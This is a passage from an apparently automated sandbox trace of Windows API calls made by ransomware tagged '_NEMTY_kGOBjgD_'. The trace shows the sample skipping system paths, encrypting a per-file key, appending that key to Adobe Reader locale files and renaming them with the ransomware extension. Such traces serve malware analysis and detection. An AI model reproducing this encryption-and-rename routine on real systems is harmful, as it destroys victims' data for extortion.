dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0184.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0184.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.643] CloseHandle (hObject=0x2e8) returned 1 [0184.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.643] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\ReadOutLoud.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\readoutloud.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\ReadOutLoud.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\readoutloud.sve._nemty_kgobjgd_")) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.644] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="reflow.SVE", cAlternateFileName="")) returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2=".") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="..") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="...") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="windows") returned -1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="rsa") returned -1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="NTDETECT.COM") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="ntldr") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="MSDOS.SYS") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="IO.SYS") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="boot.ini") returned 1 [0184.644] lstrcmpiW (lpString1="reflow.SVE", lpString2="boot.ini") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="ntuser.dat") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="desktop.ini") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="CONFIG.SYS") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="RECYCLER") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="bootmgr") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="programdata") returned 1 [0184.645] lstrcmpiW (lpString1="reflow.SVE", lpString2="appdata") returned 1 [0184.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0184.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SVE", lpUsedDefaultChar=0x0) returned 10 [0184.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0184.645] Sleep (dwMilliseconds=0x5) [0184.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21b5b890, dwHighDateTime=0x1d561e8)) [0184.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21b5b890, dwHighDateTime=0x1d561e8)) [0184.655] GetLastError () returned 0x0 [0184.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.655] GetLastError () returned 0x0 [0184.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.655] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.655] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.656] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0184.656] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="hmgdrmjL2+Z75wx5wUDysqcocVGr+XReMYzTXQnZ0eyEdu6TYyUBxW1BDtBrMA+p\r\nwCNI1iKVeiJcp4mt6+dwqagUHycZBVamTQ+KrD5nSj/E224lN6ZqI6Jin/fu1U8X\r\no5MJ/ZlXDLZ/NYtCVYbPenL9R16TttveImaRytNMMj9WBRJwA2xjTwd4I4k2Vk8O\r\nxY0jBB/fiy3HrM/UuJp2yKhWUeR1Tmavx1XO5bbYQ9thVUxgYOQNP6KOQ3/WU5WQ\r\nYdhlBm6Ft4nMaC0jEwaZ93skePRW2X1dABe6II+iGKeSK21cpZMGf8hnjwpqdaVh\r\n9QjYtlxDbsGYpIpqvrrqpA==\r\n", pcchString=0x653e5dc) returned 1 [0184.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0184.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\reflow.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\reflow.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.656] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=4608) returned 1 [0184.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1200) returned 0x6352c48 [0184.656] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.656] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1200, lpOverlapped=0x0) returned 1 [0184.658] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.658] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1200, lpOverlapped=0x0) returned 1 [0184.658] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.658] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=4608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1200 [0184.658] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.658] CloseHandle (hObject=0x2e8) returned 1 [0184.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0184.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.658] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.658] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.659] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.659] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\reflow.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\reflow.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\reflow.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\reflow.sve._nemty_kgobjgd_")) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.659] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0184.659] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.SVE", cAlternateFileName="SAVEAS~1.SVE")) returned 1 [0184.659] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2=".") returned 1 [0184.659] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="..") returned 1 [0184.659] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="...") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="windows") returned -1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="rsa") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="NTDETECT.COM") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="ntldr") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="MSDOS.SYS") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="IO.SYS") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="boot.ini") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="boot.ini") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="ntuser.dat") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="desktop.ini") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="CONFIG.SYS") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="RECYCLER") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="BOOTSECT.BAK") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="bootmgr") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="programdata") returned 1 [0184.660] lstrcmpiW (lpString1="SaveAsRTF.SVE", lpString2="appdata") returned 1 [0184.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.660] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.660] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0184.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.SVE", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.SVE", lpUsedDefaultChar=0x0) returned 13 [0184.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.661] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.661] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.661] Sleep (dwMilliseconds=0x5) [0184.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21b819f0, dwHighDateTime=0x1d561e8)) [0184.671] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21b819f0, dwHighDateTime=0x1d561e8)) [0184.671] GetLastError () returned 0x0 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.671] GetLastError () returned 0x0 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.671] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.671] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.671] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.671] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="MZb4ANCGowVGGu6QeZ82EvYI0ohIVHzcw/SClYfa2HT/54hbGKBgzd8iBgSf6Nmr\r\n78qoaNY4unbw2Nk+qOq2ZVzyeVjlSrMFtXo/vEsv2VAofMPdrdShQchmPCtueckw\r\nhiBwUWCZqTlbaY88mcjYvdeSemxvW4T28Q9mJnnS7IYoXkSbvgrvwyLhjnS13YtG\r\n6HcLr8y84Ld5Z5iG/Rx1XUmQcNXU/1152M7tYuWxCtIdbyalQscZlKYdChaWdut2\r\nd/VebqTtbwfp0y06VPDg91vaqglheZ5DmuR9Q47wu2wvfOkX9sXdsSOWVTCW4dWZ\r\npoL50YDEzHzrVxohiOdyhw==\r\n", pcchString=0x653e5dc) returned 1 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.671] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.671] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) 